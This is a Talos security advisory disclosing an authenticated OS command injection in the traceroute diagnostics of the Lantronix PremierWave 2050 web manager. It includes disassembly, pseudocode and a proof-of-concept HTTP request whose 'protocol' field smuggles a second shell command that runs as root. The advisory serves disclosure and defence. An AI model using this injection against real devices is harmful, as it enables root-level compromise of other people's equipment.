Talos Vulnerability Report

TALOS-2021-1312

Lantronix PremierWave 2050 Web Manager Diagnostics: Traceroute OS command injection vulnerability

NOVEMBER 15, 2021

CVE NUMBER

CVE-2021-21872

Summary

An OS command injection vulnerability exists in the Web Manager Diagnostics: Traceroute functionality of Lantronix PremierWave 2050 8.9.0.0R4. A specially-crafted HTTP request can lead to arbitrary command execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.

Tested Versions

Lantronix PremierWave 2050 8.9.0.0R4 (in QEMU)

Product URLs

https://www.lantronix.com/products/premierwave2050/

CVSSv3 Score

9.9 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-78 - Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)

Details

PremierWave 2050 is an embedded Wi-Fi Module manufactured by Lantronix.

The PremierWave 2050 Web Manager interface provides a network diagnostics interface that allows an unprivileged, authenticated user to diagnose network connectivity problems between the PremierWave 2050 and an arbitrary network address. This functionality is implemented using a `system` call to the `traceroute` application. The underlying command is built using an unsanitized and attacker-controlled HTTP parameter, `protocol`. This command is executed with root privileges.

The application expects that the `protocol` value will be one of `udp | tcp | icmp` but does not validate the field before injecting it directly into the below command.

```
PUSH            {R4-R10,LR}
LDR             R1, =aHost_0 ; "host"
SUB             SP, SP, #0x120
MOV             R4, R0
BL              http__get_POST_param_by_name
LDR             R1, =aProtocol_0 ; "protocol"
LDR             R7, =PrintPostResults
MOV             R5, R0
MOV             R0, R4
BL              http__get_POST_param_by_name
MOV             R6, R0

...

CMP             R6, #0
BNE             loc_BEEAC
LDR             R1, =(aProcNetTcp+0xA) ; "tcp"
B               loc_BEEBC
LDRB            R3, [R6]
CMP             R3, #0
BEQ             loc_BEEA4
MOV             R1, R6
MOV             R2, R5
LDR             R0, =aTracerouteSM40 ; "traceroute --%s -m 40 -w 1 -q 1 %s | ta"...
BL              sprintf_malloc
MOV             R3, #0
ADD             R1, SP, #0x140+results ; results
ADD             R2, SP, #0x140+num_bytes ; a3
STR             R3, [SP,#0x140+results]
STR             R3, [SP,#0x140+num_bytes]
MOV             R7, R0
BL              exec_system_cmd_ex
```

The above effectively decompiles into the below pseudocode:

```
host = get_POST_param_by_name("host");
protocol = get_POST_param_by_name("protocol");
...
if !(protocol && *protocol)
    protocol = "tcp";  // If the user doesn't supply a protocol, default to tcp
...
command = sprintf_malloc("traceroute --%s -m 40 -w 1 -q 1 %s | tail -n +2", protocol, host);
exec_system_cmd_ex(command, &results, &num_bytes);
```

A properly-formatted HTTP request can escape the intended command and execute arbitrary commands with root privileges.

```
POST / HTTP/1.1
Host: [IP]:[PORT]
Authorization: Basic YnJvd25pZTpwb2ludHM=
Content-Length: 111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

ajax=Traceroute&host=192.168.0.254&protocol=help %26%26 whoami #&iehack=&submit=Traceroute
```

The above request results in the execution of the following command:

```
traceroute --help && whoami #
```

Timeline

2021-06-14 - Vendor Disclosure

2021-06-15 - Vendor acknowledged

2021-09-01 - Talos granted disclosure extension to 2021-10-15

2021-10-18 - Vendor requested release push to 2nd week of November. Talos confirmed final extension and disclosure date

2021-11-15 - Public Release

CREDIT

Discovered by Matt Wiseman of Cisco Talos.

VULNERABILITY REPORTS

PREVIOUS REPORT TALOS-2021-1266

NEXT REPORT TALOS-2021-1314